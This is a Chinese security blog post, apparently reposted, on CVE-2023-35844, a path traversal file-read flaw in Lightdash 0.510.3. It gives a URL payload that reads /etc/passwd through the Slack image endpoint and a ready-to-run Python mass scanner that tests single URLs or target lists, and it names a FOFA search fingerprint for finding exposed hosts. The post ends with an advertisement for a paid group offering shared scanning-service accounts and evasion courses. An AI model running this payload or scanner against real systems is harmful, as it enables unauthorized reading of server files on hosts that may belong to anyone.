免责声明由于传播、利用WK安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，WK安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！
0x01 漏洞介绍
Lightdash是一个数据可视化平台，可以将您的数据库项目转换为全栈BI平台。分析师可以编写指标，而Lightdash则使整个企业都可以自助服务。该平台存在漏洞攻击者可以进行文件读取。
0x02 影响版本
Lightdash文件读取漏洞影响版本为0.510.3
0x03 漏洞复现
POC：
url+ "/api/v1/slack/image/slack-image%2F..%2F..%2F..%2Fetc%2Fpasswd"参考脚本
import requestsimport sysprint('+------------------------------------------')print('+ \033[36m使用格式: python3 CVE-2023-35844.py -u https://x.x.x.x \033[0m')print('+ \033[36m使用格式: python3 CVE-2023-35844.py -f xxx.txt \033[0m')print('+ \033[36m指纹特征: fofa: "Lightdash" \033[0m')print('+ \033[36mauther >>> Lsec \033[0m')print('+------------------------------------------')payload = "/api/v1/slack/image/slack-image%2F..%2F..%2F..%2Fetc%2Fpasswd"#只扫描urldef url_poc(url):domain = url + payloadrequests.packages.urllib3.disable_warnings()resp = requests.get(domain,verify=False)if "root" in resp.text:print(url+"存在漏洞")print(resp.text)def list_url_poc(urls):with open(urls, "r") as f:for url in f.readlines():domain = (url.strip() + payload)requests.packages.urllib3.disable_warnings()resp = requests.get(domain, verify=False)if "root" in resp.text:print(url + "存在漏洞")print(resp.text)if __name__ == '__main__':if len(sys.argv) != 3:print("Usage: python CVE-2023-35844.py -u <url>")print("Usage: python CVE-2023-35844.py -f <url>")sys.exit(1)if sys.argv[1] == "-u":url = sys.argv[2]url_poc(url)elif sys.argv[1] == "-f":urls = sys.argv[2]list_url_poc(urls)
参考文章
https://github.com/Szlein/CVE-2023-35844/blob/main/CVE-2023-35844.py欢迎加我wx，一起交流交流
湘安无事团队 知识星球 一次付费，永久免费，享受两大内部群+星球双重福利（付费之后会拉入内部成员群，直接免费续上）。有需要的直接添加上面微信 118永久，私我支付，直接拉内部成员群，扫码支付，三天后拉内部成员群。
内部群共享
1.fofa高级会员账号
2.360quake高级会员
3.某在线高级会员靶场账号（附带wp）
4.专属内部漏洞库（持续更新）
5.原创漏洞挖掘报告
6.it课表众多好课（持续更新，内容涉及安全+开发等）
7.在线答疑，不定期直播技术分享【湘南第一深情、wuli、Awake等】
星球介绍：
星球针对安全新人有优秀学习资源，星球专属嘉宾进行问题解答，
性价比很高。
如果你是入门不久，想要提升漏洞挖掘能力，那该星球是个不错的选择，星球内拥有
专属漏洞报告，
各种奇淫技巧、挖洞技术、专属嘉宾在线问答等。
欢迎您的加入，星球部分内容请你查看！！
星球内容介绍
星球内部提供众多好课
安全类：web安全、内网、src挖掘、kail、逆向、游戏漏洞挖掘、免杀等
开发类：python安全开发、java、Golang、php等开发课程
专栏提供内部漏洞库
专栏内容预览
扫码查看更多内容
文章引用微信公众号"WK安全",如有侵权,请联系管理员删除!